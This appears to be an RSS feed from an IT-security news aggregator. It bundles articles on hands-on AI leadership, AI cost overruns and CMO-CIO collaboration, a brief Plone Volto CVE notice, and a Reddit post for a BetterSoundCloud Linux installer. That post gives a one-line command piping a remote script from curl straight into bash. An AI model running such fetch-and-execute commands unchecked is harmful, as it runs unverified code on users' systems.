<p>Twenty years ago, leadership was all about strategic thinking and decision-making. Then came the era of <a href="https://www.cio.com/article/303848/what-is-servant-leadership-a-philosophy-for-people-first-leadership.html" target="_blank">servant leadership</a>, where empowering and inspiring teams became paramount. For a long period, leadership across industries celebrated this head-heart model, balancing rational and emotional intelligence. But given the pace at which the transformation has happened in the last two decades, this model is slowly falling apart.</p>



<p>With the grand entry of AI in all our lives, reshaping entire industries, we can see that the most successful leaders today, from Sam Altman to Elon Musk to Mark Zuckerberg, succeed not just because they think strategically or inspire their teams, but because they roll up their sleeves and get involved.</p>



<p>It’s becoming clear that success today requires not just head and heart, but hands as well.</p>



<h2 class="wp-block-heading">The AI experiment that fizzled</h2>



<p>Last January, I sent out a company-wide memo: “All teams are now authorized to experiment with AI tools. Find ways to boost productivity and report back.”</p>



<p>The initial response was quite enthusiastic. Department heads and managers scheduled training programs, procurement approved the subscription and discussion channels got oversaturated with documents on tips and tricks to use AI better.</p>



<p>Three months later, however, our progress and productivity dashboards were flat.</p>



<p>All department leads walked me through their comprehensive strategies for AI adoption: engineering built AI sandboxes, marketing trained models on our brand guidelines, and operations created hybrid human-AI workflows.</p>



<p>Everything looked perfect on paper. Yet our results hadn’t improved. We had done everything by the book — but we weren’t getting the outcomes we expected.</p>



<p>Turning to the mighty internet for an answer, I found the issue wasn’t effort or enthusiasm. Many companies were facing challenges in implementing AI. McKinsey’s 2024 State of AI Report noted that <a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai-2024" target="_blank" rel="nofollow">while AI adoption had grown sharply across industries compared to the previous year, the percentage of companies struggling with AI was still at around 70%.</a></p>



<p>So what, exactly, was missing?</p>



<p>The problem became clear when I started digging into the specifics. Our leaders had approached this challenge exactly as they’d been trained to — with strategic thinking (head) and genuine care for empowering their teams (heart).</p>



<p>Teams were layering AI tools on existing processes without understanding how the technology actually fit together. The outputs weren’t wrong; they were just inconsistent with our broader objectives.</p>



<p>I changed the approach by asking managers and leads to get their hands involved, too. Within weeks of developing this hands-on AI literacy, everything shifted. Instead of blindly incentivizing AI-amplified output, we started measuring what actually mattered: quality improvements, innovative experiments and time freed up for strategic thinking.</p>



<h2 class="wp-block-heading">Head + heart are necessary — but not sufficient</h2>



<p>The traditional understanding of a leader’s job has long been confined to head and heart, i.e., strategy and empowerment. Strategic and operational decisions shape the goals and objectives and hence the respective day-to-day work of an employee.</p>



<p>For years, head-first leadership meant leaders could rely on expert advisors to translate technical complexity into business insights. Later, heart-first leadership came along, which meant inspiring teams with autonomy, resources and encouragement, trusting they would find their own solutions.</p>



<p>These models still matter deeply. The continuous change that businesses face every day has made strategic judgment all the more important. Every year brings new technologies or market trends that force leaders to pivot. The head — the ability to synthesize complexity, weigh trade-offs and decide the direction — remains the foundational job role of leadership.</p>



<p>Similarly, the heart has never been more essential. Teams going through frequent disruption need emotional stability, credible guidance and a sense that their leaders understand the complexity of challenges. The empathy, inspiration and people development skills that define heart-centered leadership are crucial for helping organizations manage such change.</p>



<p>But AI disrupts this traditional playbook in ways that previous technological shifts never did.</p>



<h2 class="wp-block-heading">How AI is redefining leadership</h2>



<p>Unlike past innovations that typically transformed specific processes or industries over predictable timelines, AI operates as what I call a “meta-technology.” It doesn’t just change how we work; it changes how we think about work itself. However, by nature, it creates a dangerous knowledge gap. Leaders find themselves making strategic bets on technology they don’t fundamentally understand, guided by experts who themselves are often learning in real time.</p>



<p>Leaders can’t simply analyze AI’s market impact or competitive implications because AI continuously evolves its own capabilities. The strategic landscape here is being rewritten by algorithms whose decision-making processes remain opaque even to their creators. This creates another layer of ambiguity and unprecedented challenge for strategic leadership.</p>



<ul class="wp-block-list">
<li>How do you make informed technology decisions that learns and changes behavior independently?</li>



<li>How do you assess risks when the technology’s failure modes aren’t fully understood?</li>



<li>How do you plan resource allocation when AI’s impact on different business functions remains highly unpredictable?</li>
</ul>



<p>Furthermore, teams facing AI transformation need leaders who can build confidence during learning curves and maintain human connection amid increasing automation. They can quickly recognize when leaders speak in abstractions rather than from lived experience. The inspirational language that worked for previous organizational changes — “trust the process,” “embrace the learning curve” — rings hollow when leaders haven’t walked that learning curve themselves.</p>



<p>Perhaps most critically, AI failures test leadership credibility in unprecedented ways. When traditional initiatives struggle, experienced leaders can coach teams through obstacles because they understand the underlying challenges. But when AI implementations produce unexpected results, hallucinate information or create workflow disruptions, leaders without hands-on experience find themselves unable to troubleshoot alongside their teams.</p>



<p>When leaders rely solely on head and heart, they inevitably create broad directives that sound strategic but lack operational specificity. This is what happened with us at ProofHub when we gave teams clear empowerment (“full autonomy”) and strategic direction, but the expectations remained fundamentally vague because we didn’t understand the technology well enough to provide concrete guidance.</p>



<p>Teams interpreted my directive as “nice to try” rather than “essential to master” precisely because my own engagement signaled it was optional rather than critical.</p>



<h2 class="wp-block-heading"><a></a>What ‘hand-first’ actually means</h2>



<p>The hand-first leadership is all about managing by getting involved in the action. In other words, it can be understood as innovating as you execute. Hand leadership isn’t about micromanaging or abandoning strategy. It’s about leaders developing enough operational fluency with new technologies to bridge the gap between strategic vision and practical implementation.</p>



<p>The most comfortable, yet unfortunate, myth in technological shift is believing you can effectively guide adoption through high-level conceptual understanding alone. AI doesn’t play by that rule. It is not a technology that can be managed from a slide deck or a conference room. So we created a hands-first leadership model that required every leader, including myself, to develop genuine operational literacy with AI.</p>



<p>We created a three-prong program for this.</p>



<h2 class="wp-block-heading">Prong 1: AI literacy for leadership</h2>



<p>The first prong was building a foundational understanding, where every leader had to understand AI. Not just the platforms or tools, but the very understanding of architecture, governance and competitive advantage it holds.</p>



<p>This included understanding both the theoretical and behavioral differences between different large language models (LLMs). Learning about the data dependencies, understanding how the quality and scope of training data impacts output reliability, etc.</p>



<p>I also worked with other leads and managers to understand viscerally why we need confidence scoring thresholds and where we need human verification checkpoints. This direct engagement showed us opportunities that traditional analysis would have missed — areas where competitors were likely implementing AI superficially, creating openings for more sophisticated, operationally-grounded approaches.</p>



<p>We empathized with our teams’ experiences, understanding the frustration of prompts that yielded inconsistent results, the challenge of discerning technically correct but contextually wrong AI output and the significant time investment required for proper validation and refinement of AI-generated work.</p>



<h2 class="wp-block-heading">Prong 2: AI leadership pods</h2>



<p>The second prong was bringing it all together. We formed four groups of cross-functional AI leadership pods: Visioneers, Architects, Pathfinders and Creators.</p>



<h3 class="wp-block-heading">Visioneers</h3>



<p>As strategic problem identifiers, Visioneers play a crucial role in bridging organizational needs with AI possibilities. Their understanding of market pressures, customer pain points and competitive threats allows them to spot where AI can create genuine business advantage, not just technical novelty.</p>



<p>I led the Visioneers pod alongside our CMO and head of product. Our key responsibility was asking: “What business problems are worth solving with AI?” rather than “What can AI do for us?” We own the business case, meaning we must justify why solving specific problems with AI will generate measurable ROI, not just operational efficiency.</p>



<h3 class="wp-block-heading">Architects</h3>



<p>Also known as workflow designers, Architects are the operational leaders who translate strategic vision into practical reality. They take the problems identified by Visioneers and design the actual human-AI workflows that will solve them effectively.</p>



<p>Their critical insight is understanding where human judgment remains essential and where AI can reliably handle tasks. They’re responsible for creating the guardrails — the quality checkpoints, oversight mechanisms and failure protocols that ensure AI integration improves rather than compromises work quality.</p>



<p>Our head of engineering took the lead on the Architects pod, but the entire leadership team participated in workflow redesign sessions.</p>



<h3 class="wp-block-heading">Pathfinders</h3>



<p>Operating as the organization’s AI intelligence network, a group of R&amp;D, data analytics and product leaders continuously explores emerging AI capabilities, runs controlled experiments and stress-tests new possibilities before they become mainstream.</p>



<p>Their value isn’t just staying current with AI developments — it’s providing vetted, practical assessments of what’s ready for business application versus what’s still experimental. They feed proven concepts to Architects and identify emerging opportunities for Visioneers.</p>



<h3 class="wp-block-heading">Creators</h3>



<p>Perhaps most importantly, this pod ensured that strategic leaders maintained a direct connection with technical implementation realities. Creators are the hands-on technical experts who build, integrate and maintain AI systems. They execute the workflows designed by Architects, but with crucial input into what’s technically feasible and sustainable.</p>



<p>Their role isn’t just coding. They ensure that AI implementations are secure, scalable and maintainable over time, not just functional in initial deployments.</p>



<h3 class="wp-block-heading">These pods operate in structured cycles</h3>



<p>Visioneers identify high-impact problems monthly, Architects design solutions and collaborate with Creators on implementation, while Pathfinders provide ongoing intelligence about emerging possibilities. This network creates continuous feedback between strategic direction, practical design, technical implementation and innovation — preventing the silos that typically sabotage technology initiatives.</p>



<p>This collaborative leadership approach has proven beneficial across many industries undertaking AI initiatives. A<a href="https://hbr.org/2025/08/your-ai-strategy-needs-more-than-a-single-leader" rel="nofollow"> </a><a href="https://hbr.org/2025/08/your-ai-strategy-needs-more-than-a-single-leader" rel="nofollow">recent article published in Harvard Business Review</a> points out that, “In companies where AI is taking root, the best leadership is distributed, with many executives working in sync.” We took a similar approach by turning distributed responsibility into distributed operational fluency.</p>



<h2 class="wp-block-heading">Prong 3: Measure and iterate to improve</h2>



<p>The third prong was incentivizing realignment and progress parameterization.In simpler terms, this was aboutmeasuring how effective our approach was and improving it with continuous iterations. Because what gets measured gets improved.</p>



<p>Traditional productivity metrics would have had us celebrating faster report generation or increased content output. But working directly with AI tools taught us that raw output gains often mask hidden costs and quality degradation.</p>



<p>Hence, we worked with the following parameters:</p>



<h3 class="wp-block-heading">Amplification ratio</h3>



<p><em>(Time saved on automated tasks) / (Time invested in AI oversight + training)</em></p>



<p>When I personally spent hours refining prompts to generate a suitable marketing copy, I understood that the “time saved” calculation had to include the time invested in making AI outputs actually valuable.</p>



<p>For our engineering team, we discovered that AI code generation with a 10:1 amplification ratio (100 hours saved, 10 hours invested in review and refinement) was far more valuable than generation with a 3:1 ratio, even if the latter produced more total code.</p>



<p>This insight only emerged because leadership team members had personally experienced the difference between AI code that worked and AI code that was maintainable.</p>



<h3 class="wp-block-heading">AI-influenced quality delta (AQD)</h3>



<p><em>(Post-AI quality score) – (Pre-AI quality score)</em></p>



<p>This metric tracks whether AI is actually improving work quality, not just work speed. The AQD measures the difference in quality scores before and after AI implementation. For example, in engineering, this might mean 20% fewer production bugs after implementing AI code review. For marketing teams, it could represent 15% higher customer engagement on AI-assisted campaigns. This metric ensures that AI adoption improves outcomes, not just outputs.</p>



<h3 class="wp-block-heading">Innovation yield</h3>



<p><em>(Number of AI-powered ideas tested per quarter) × (Success rate of implemented ideas)</em></p>



<p>Our Pathfinders pod tested dozens of AI applications quarterly, but success wasn’t just about technical functionality — it was about meaningful business impact. In practice, this means if we test 10 AI applications quarterly and 2 get scaled organization-wide with measurable business impact, you’re tracking both experimental velocity and conversion effectiveness. It prevents endless pilot programs that never translate into operational improvements.</p>



<p>Only leaders who had personally worked through AI prediction tools could distinguish between technical success and business value.</p>



<h3 class="wp-block-heading">AI fluency score</h3>



<p>This metric provides a qualitative 360-degree assessment of whether leaders can actually guide AI adoption effectively or just manage it abstractly. It measures peer and team feedback on whether leaders can troubleshoot AI tools, provide concrete guidance and make informed decisions about AI applications based on hands-on understanding rather than vendor promises. Teams immediately recognize the difference between leaders who speak from AI experience and this directly impacts adoption effectiveness throughout the organization. A high AI fluency score indicates that leaders have the practical skills and experience to effectively lead AI initiatives, while a low score may indicate a need for further training and hands-on experience.</p>



<h2 class="wp-block-heading">Finding the AI sizzle</h2>



<p>Within six months, our hand-first approach delivered concrete gains. Production bugs dropped 35% and marketing engagement increased 28%. Most significantly, our Innovation Yield jumped from 15% to 65%. We shifted our focus from scaling AI tools that merely worked and focused on applications with genuine business impact. An internal NPS survey revealed that team confidence in leadership guidance increased 73%, accelerating adoption across all departments. We’re now expanding this model to emerging technologies like agentic AI, applying the same operational fluency principle.</p>



<h2 class="wp-block-heading">Getting started: Pick one workflow</h2>



<p>The greatest irony of the AI era is that the technology designed to eliminate human limitations actually requires more human understanding than any innovation before it. The leaders who succeed won’t be those who delegate AI adoption; they’ll be those willing to become students again.</p>



<p>The path forward requires abandoning the comfortable distance that executive leadership traditionally maintains during technology transitions. Pick one AI workflow that matters to your organization’s core operations. Spend two weeks developing genuine operational fluency with the tools involved. Experience the frustrations, understand the quality control challenges and learn to distinguish between impressive demos and reliable business applications.</p>



<p>Every breakthrough technology will increasingly demand this same hands-on leadership approach. The pace of innovation means leaders can no longer afford the luxury of learning about transformative technologies — they must learn to work with them directly.</p>



<p>Five years from now, there will be only one type of leader: those who can troubleshoot alongside their teams. They will be running AI-native organizations that competitors can’t replicate.</p>



<p></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.<br></strong><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[BetterSoundCloud | Improved SoundCloud Linux Client with One-Command Auto Installer]]></title>
<description><![CDATA[Hey everyone 👋 I just created a simple Linux auto-installer script for BetterSoundCloud a PC client of SoundCloud with extra features and themes built using ElectronJS. You can find my Repo here This installer will:  Install required dependencies (git, nodejs, npm, curl) Clone or update to the ma...]]></description>
<link>https://tsecurity.de/de/3022330/linux-tipps/bettersoundcloud-improved-soundcloud-linux-client-with-one-command-auto-installer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3022330/linux-tipps/bettersoundcloud-improved-soundcloud-linux-client-with-one-command-auto-installer/</guid>
<pubDate>Mon, 06 Oct 2025 03:36:03 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hey everyone 👋</p> <p>I just created a <strong>simple Linux auto-installer script</strong> for <a href="https://github.com/AlirezaKJ/BetterSoundCloud">BetterSoundCloud</a> a PC client of SoundCloud with extra features and themes built using ElectronJS.</p> <p><a href="https://github.com/ULTRA-VAGUE/BetterSoundCloud-On-Linux/">You can find my Repo here</a></p> <p>This installer will:</p> <ul> <li>Install required dependencies (<code>git</code>, <code>nodejs</code>, <code>npm</code>, <code>curl</code>)</li> <li>Clone or update to the main repository from my installer repo</li> <li>Create a <code>.desktop</code> entry for easy launching</li> <li>Keep everything in a single folder in your ~home: <code>~/BetterSoundCloud-Linux</code></li> </ul> <h1>Supported package managers:</h1> <ul> <li><code>apt</code> (Debian, Ubuntu, derivatives)</li> <li><code>pacman</code> (Arch, Manjaro, derivatives)</li> <li><code>dnf</code> (Fedora, CentOS, RHEL)</li> <li><code>zypper</code> (openSUSE)</li> </ul> <h1>Install with one command:</h1> <pre><code>bash &lt;(curl -s https://raw.githubusercontent.com/ULTRA-VAGUE/BetterSoundCloud-On-Linux/main/install_bettersoundcloud.sh) </code></pre> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Alanoid"> /u/Alanoid </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1nz5xtu/bettersoundcloud_improved_soundcloud_linux_client/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1nz5xtu/bettersoundcloud_improved_soundcloud_linux_client/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-61668 | plone volto up to 16.34.0/17.22.1/18.27.1 NodeJS Server null pointer dereference (GHSA-m8rj-ppph-mj33 / EUVD-2025-32021)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in plone volto up to 16.34.0/17.22.1/18.27.1. This vulnerability affects unknown code of the component NodeJS Server. The manipulation leads to null pointer dereference.

This vulnerability is listed as CVE-2025-61668. The attack may be init...]]></description>
<link>https://tsecurity.de/de/3018828/sicherheitsluecken/cve-2025-61668-plone-volto-up-to-163401722118271-nodejs-server-null-pointer-dereference-ghsa-m8rj-ppph-mj33-euvd-2025-32021/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3018828/sicherheitsluecken/cve-2025-61668-plone-volto-up-to-163401722118271-nodejs-server-null-pointer-dereference-ghsa-m8rj-ppph-mj33-euvd-2025-32021/</guid>
<pubDate>Fri, 03 Oct 2025 12:38:56 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/?kb.risk">problematic</a> has been reported in <a href="https://vuldb.com/?product.plone:volto">plone volto up to 16.34.0/17.22.1/18.27.1</a>. This vulnerability affects unknown code of the component <em>NodeJS Server</em>. The manipulation leads to null pointer dereference.

This vulnerability is listed as <a href="https://vuldb.com/?source_cve.326814">CVE-2025-61668</a>. The attack may be initiated remotely. There is no available exploit.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI cost overruns are adding up — with major implications for CIOs]]></title>
<description><![CDATA[IT and finance leaders are struggling to estimate and contain the cost of AI deployments, with most AI projects exceeding spending targets, according to a new survey.



Despite mass AI adoption among enterprises, many IT leaders are finding it difficult to achieve ROI for AI projects, with inacc...]]></description>
<link>https://tsecurity.de/de/3016774/it-security-nachrichten/ai-cost-overruns-are-adding-up-with-major-implications-for-cios/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3016774/it-security-nachrichten/ai-cost-overruns-are-adding-up-with-major-implications-for-cios/</guid>
<pubDate>Thu, 02 Oct 2025 12:20:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>IT and finance leaders are struggling to estimate and contain the cost of AI deployments, with most AI projects exceeding spending targets, according to a new survey.</p>



<p>Despite <a href="https://www.cio.com/article/4059596/ais-bubble-trouble-hype-myth-and-dotcom-deja-vu.html?utm=hybrid_search">mass AI adoption</a> among enterprises, many IT leaders are finding it difficult to <a href="https://www.cio.com/article/3996256/what-roi-ai-misfires-spur-ceos-to-rethink-adoption.html?utm=hybrid_search">achieve ROI</a> for AI projects, with inaccurate budgeting a significant part of the problem.</p>



<p>About 85% of organizations misestimate AI costs by more than 10%, and nearly a quarter are off by 50% or more, according to <a href="https://www.prnewswire.com/news-releases/2025-state-of-ai-cost-management-research-finds-85-of-companies-miss-ai-forecasts-by-10-302551947.html" rel="nofollow">a recent survey</a> from SaaS benchmarking firm Benchmarkit and cost governance platform Mavvrik. The cost estimates are nearly always too low.</p>



<p>Several factors contribute to this issue, with data platforms being the top driver of unexpected AI costs, followed by network access to AI models, according to survey respondents. Large-language model (LLM) token costs are the fifth highest driver of unexpected AI expenditures.</p>



<h2 class="wp-block-heading">CIOs take the blame</h2>



<p>While budget authority often rests with the CFO, CIOs overseeing unexpectedly expensive AI projects can expect major implications, experts say.</p>



<p>“Underestimating AI projects by this much doesn’t just blow budgets, it risks stakeholder confidence and adoption,” says <a href="https://www.linkedin.com/in/sergiioua/" rel="nofollow">Sergii Opanasenko</a>, cofounder of AI-focused web development firm Greenice. “The best path forward is to treat AI like any other core infrastructure investment: scope realistically, account for integration and iteration, and build in a buffer for experimentation.”</p>



<p>Many organizations appear to be “flying blind” while deploying AI, adds <a href="https://www.linkedin.com/in/johnpettit1/" rel="nofollow">John Pettit</a>, CTO at Google Workspace professional services firm Promevo. If a CIO-led AI project misses budget by a huge margin, it reflects on the CIO’s credibility, he adds.</p>



<p>“Trust is your most important currency when leading projects and organizations,” he says. “If your AI initiative costs 50% more than forecast, the CFO and board will hesitate before approving the next one.”</p>



<p>Cost overruns are often associated with hidden layers beneath the cost of an AI model, including data preparation, security, integration, and compliance, Pettit adds.</p>



<p><a href="https://bloomfire.com/experts/dan-stradtman/" rel="nofollow">Dan Stradtman</a>, CMO at AI-powered knowledge management vendor Bloomfire, has seen the effects of project cost overruns. “I’ve led teams at Fortune 500 companies where missed forecasts set off a chain reaction: delayed roadmaps, frozen headcount, and CFOs pulling back on strategic bets,” he says. “For IT leaders, governance isn’t optional. Without disciplined visibility into costs and a clean foundation of knowledge feeding AI, you’re left with unpredictable bills and frustrated executives.”</p>



<p>Beyond creating distrust in IT leadership, missed cost estimates also hurt the company’s bottom line, notes <a href="https://www.linkedin.com/in/falleyne/" rel="nofollow">Farai Alleyne</a>, SVP of IT operations at accounts payable software vendor Billtrust. “It is not just an IT spending issue, but it could materialize into an overall business financials issue,” he says.</p>



<p>The survey results bear this concern out. More than eight in 10 companies reported that AI costs eroded gross margins by more than 6%, with more than a quarter of companies seeing drops of 16% or more.</p>



<h2 class="wp-block-heading">Tiny budgets, unrealistic expectations</h2>



<p>To demonstrate the AI budget disconnect, Greenice <a href="https://greenice.net/ai-agent-development-trends/" rel="nofollow">recently examined</a> more than 500 agentic AI projects posted on freelance marketplace Upwork and found that more than 60% of them had budgets of less than $1,000, with expected delivery timelines of less than three months. Most of those cost estimates and timelines appeared unrealistic, Opanasenko says.</p>



<p>In his experience, enterprise leaders often assume AI coding assistants or no-code/low-code tools can take care of most of the software development needed to roll out a new AI tool. These tools can be used to create small prototypes, but for enterprise-grade integrations or multi-agent systems, the complexity creates additional costs, he says.</p>



<p>“We often see clients who proudly say they’ve built 80% to 90% of their system in a week with AI, but the remaining 10% to 20% is where the real complexity hides,” Opanasenko adds. “That last mile often takes far longer — either because integrations are complex or because AI assistants struggle as projects grow larger and contexts get too big.”</p>



<p>In addition, organizations often underestimate the cost of operating an AI project, he says. Token usage for vectorization and LLM calls can cost tens of thousands of dollars per month, but hosting your own models isn’t cheap, either, with on-premises infrastructure costs potentially running into the thousands of dollars per month.</p>



<p>And then there’s scope creep. “When clients change their minds or grow their appetite mid-project, the only way forward is to re-evaluate the scope, cut back to what’s realistic for the budget, and move extra features into later phases,” Opanasenko says.</p>



<h2 class="wp-block-heading">Best practices for containing costs</h2>



<p>Promevo’s Pettit recommends CIOs embrace observability technologies to track AI costs and focus on outcome-based ROI metrics.</p>



<p>“Without observability, you’re guessing,” he says. “With it, you can spot a runaway training job or ballooning API usage before it wrecks your budget.”</p>



<p>CIOs should use <a href="https://www.cio.com/article/3839075/finops-breaks-out-of-the-cloud.html">FinOps practices</a> and treat AI cost as a primary metric, complete with dashboards and alerts, he recommends. IT leaders should also encourage cross-team transparency, with marketing, R&amp;D, and IT teams all sharing their AI use and costs.</p>



<p>IT leaders can also start with AI pilot projects to measure real consumption, Pettit suggests, and they should realize that small AI solutions sometimes work best.</p>



<p>“Not every use case needs the biggest model,” Pettit says. “Sometimes a lighter approach delivers 90% of the value at 10% of the cost.”</p>



<p>Like Pettit, Billtrust’s Alleyne recommends cost management and observability tools to control AI spending. While <a href="https://www.cio.com/article/189652/top-13-cloud-cost-management-tools.html">cost management tools</a> from cloud vendors can be useful, they aren’t as deep as third-party solutions and don’t cover every potential AI cost, he says.</p>



<p>“These other third-party tools can make recommendations like, ‘Hey, you’re actually overspending on this feature, and you can resize,’” he says. “We’ve done a lot of resizing, taking the recommendations on the contract commitments, and changing our backups to be more mindful of the overall cloud spend.”</p>



<p>The key to using cost management and observability tools is to check them regularly, Alleyne adds. Billtrust IT leaders check the AI cost management software at least a couple of times a month.</p>



<p>“You can have the tools, but don’t let them be shelfware,” he says. “Be diligent about a cost management program.”</p>



<p>IT leaders should also communicate regularly with other departments about their AI use, Alleyne recommends.</p>



<p>“A lot of the misses can be attributed to some other department doing something with AI, and then, it ends up showing up in your cost,” he says. “You’ve got some department that’s using the capabilities with the ease of cloud onboarding, and they’re running on your corporate cloud account, and you get the bill.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Innovation’s new engine: The CMO-CIO partnership in the AI era]]></title>
<description><![CDATA[Consider a single statistic: 85% of all work now happens in the browser. This represents a fundamental shift of the corporate workspace. While this shift has unlocked incredible productivity, it has also transformed the browser into the most critical — and most targeted — attack surface for the m...]]></description>
<link>https://tsecurity.de/de/3001966/it-security-nachrichten/innovations-new-engine-the-cmo-cio-partnership-in-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3001966/it-security-nachrichten/innovations-new-engine-the-cmo-cio-partnership-in-the-ai-era/</guid>
<pubDate>Wed, 24 Sep 2025 15:20:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Consider a single statistic: <a href="https://www.paloaltonetworks.com/resources/infographics/the-state-of-security-in-the-modern-organization" target="_blank" rel="sponsored">85% of all work now happens in the browser</a>. This represents a fundamental shift of the corporate workspace. While this shift has unlocked incredible productivity, it has also transformed the browser into the most critical — and most targeted — attack surface for the modern enterprise.</p>



<p>This same redefinition of the workspace is now happening with artificial intelligence, but at a speed and scale that dwarfs previous shifts. AI is rapidly moving from a theoretical tool to an embedded, active participant in daily workflows, particularly in marketing, which has become a key arena for its adoption.</p>



<p>Recent <a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai#/" target="_blank" rel="sponsored">McKinsey research</a> validates this trend, placing marketing at the forefront of AI implementation alongside IT and sales. For marketing leaders, this means AI is becoming as foundational as the browser itself. This new reality — where AI increasingly powers employee workflows — creates both immense opportunity and a new, urgent imperative to secure these powerful new capabilities.</p>



<h3 class="wp-block-heading">What if AI fails the brand?</h3>



<p>For marketing leaders, the unprecedented adoption of AI has created a new and complex risk environment for the brand. As noted by KPMG experts in an <a href="https://kpmg.com/au/en/media/media-releases/2025/04/global-study-reveals-australia-lags-in-trust-of-ai-despite-growing-use.html" rel="sponsored">April 2025 study</a>, this challenge stems from a potent combination — the speed of AI adoption, a widespread lack of AI literacy, and often weak internal governance.</p>



<p>This new layer of AI risk is compounding the existing threats that already target the modern workspace. A recent <a href="https://start.paloaltonetworks.com/omdia-state-of-workforce-security" rel="sponsored">Omdia</a> report found that 95% of organizations experienced browser-based attacks like phishing and malware between 2023 and 2024. With the browser now being the primary interface for AI tools, these two threat vectors have become deeply intertwined. And attacks are already a top concern.</p>



<p>This risk is taking hold across the entire marketing ecosystem, creating a new, three-front challenge for CMOs. It begins with the unsanctioned employee use of powerful tools like ChatGPT and extends to the AI models built directly into new products and services. It’s also deeply embedded in the AI capabilities of the core CRM and martech stacks that power our daily operations.</p>



<h3 class="wp-block-heading">A new threat to brand integrity: Shadow AI</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p></p>
</blockquote>



<p>The appeal of AI tools within marketing teams is undeniable — they promise speed, convenience, and power. This widespread adoption, however, has a significant downside. The <a href="https://kpmg.com/au/en/home/media/press-releases/2025/04/global-study-reveals-australia-lags-in-trust-of-ai-despite-growing-use.html" target="_blank" rel="sponsored">KPMG</a> research highlights the scale of this challenge. That is, nearly half of employees admit to using AI in ways that contravene company policies, including uploading sensitive corporate information into public AI tools.</p>



<p>This widespread, unsanctioned use has given rise to a new and significant threat — shadow AI. Much like the shadow IT of the past, this phenomenon creates a massive blind spot in an organization’s security posture. The scale of this risk is staggering. Gartner<sup>®</sup> predicts that through 2026, internal policy violations will be the root cause of at least <a href="https://www.paloaltonetworks.com.au/resources/research/gartner-market-guide-for-ai-trust-risk-and-security-management" target="_blank" rel="sponsored">80%</a> of unauthorized AI transactions, stemming from, for example, information oversharing and using unapproved tools.</p>



<h3 class="wp-block-heading">From brand steward to risk partner</h3>



<p>This new reality requires new accountability for marketing leaders. Our role must expand beyond stewarding the visual identity and voice of our brand; we must now become the stewards of its algorithmic integrity. This means forging a new, deeper, and non-negotiable partnership with our CIO and CISO. Traditional silos between marketing and IT have become a direct threat to the brand. The only path forward is to jointly architect an AI enablement framework that transforms shadow AI from a hidden risk into a managed engine for innovation.</p>



<h3 class="wp-block-heading">Forging an alliance between marketing and IT</h3>



<p>Managing the risks of a modern, AI-powered marketing department requires a new level of cross-departmental trust and collaboration. While the CMO must spearhead the effort to balance innovation with security, the technical nature of solutions, like browser controls and AI governance, means the CIO and CISO are essential partners.</p>



<p>This has forced data security and access management to become a shared priority. CMOs and CIOs must now step outside of their traditional remits to build a unified strategy. This alignment enables teams to reimagine work with <a href="https://www.paloaltonetworks.com/prisma/prisma-ai-runtime-security" target="_blank" rel="sponsored">AI at its center</a> to meet the marketing team’s needs for innovation while ensuring the enterprise remains secure.</p>



<h3 class="wp-block-heading">The work of alignment: A guide to CMO-CIO collaboration</h3>



<p>This alignment, though, doesn’t happen by accident; you must architect it with intention. You can build a successful partnership on three core pillars:</p>



<ol start="1" class="wp-block-list">
<li><strong>Co-author an AI enablement framework.</strong> The first step is to move beyond ad hoc tool adoption. The CMO and CIO should jointly create a formal framework that establishes an approved list of AI tools, sets clear usage policies for sensitive data, and outlines a plan for ongoing employee education. This step transforms shadow AI from a risk into a managed asset.</li>



<li><strong>Establish a shared roadmap and cadence.</strong> True alignment requires a shared rhythm. This means that marketing and IT leadership must establish regular, strategic meetings to review roadmaps, anticipate challenges, and ensure that security is a design partner in new marketing initiatives, not a gatekeeper at the end.</li>



<li><strong>Run joint crisis simulations.</strong> The ultimate test of alignment is how the teams respond under pressure. The CMO and CISO should run joint tabletop exercises that simulate a brand-damaging AI incident, such as a compromised chatbot or a biased campaign. This test builds the muscle memory and trust required to effectively navigate a real crisis.</li>
</ol>



<h3 class="wp-block-heading">Innovation demands a new operating model</h3>



<p>The traditional, siloed relationship between marketing and IT is more than inefficient; in the age of AI, it is a direct threat to the brand. The path forward requires more than occasional collaboration. Rather, it demands a new, deeply integrated operating model. This means moving beyond separate roadmaps to a single, shared vision for how to deploy AI securely to drive business outcomes. It means running joint crisis simulations to build the efficiency and accuracy required to navigate a brand-damaging AI incident. This transforms the relationship from a series of handoffs to a true partnership, where security becomes the foundation upon which marketing can safely innovate.</p>



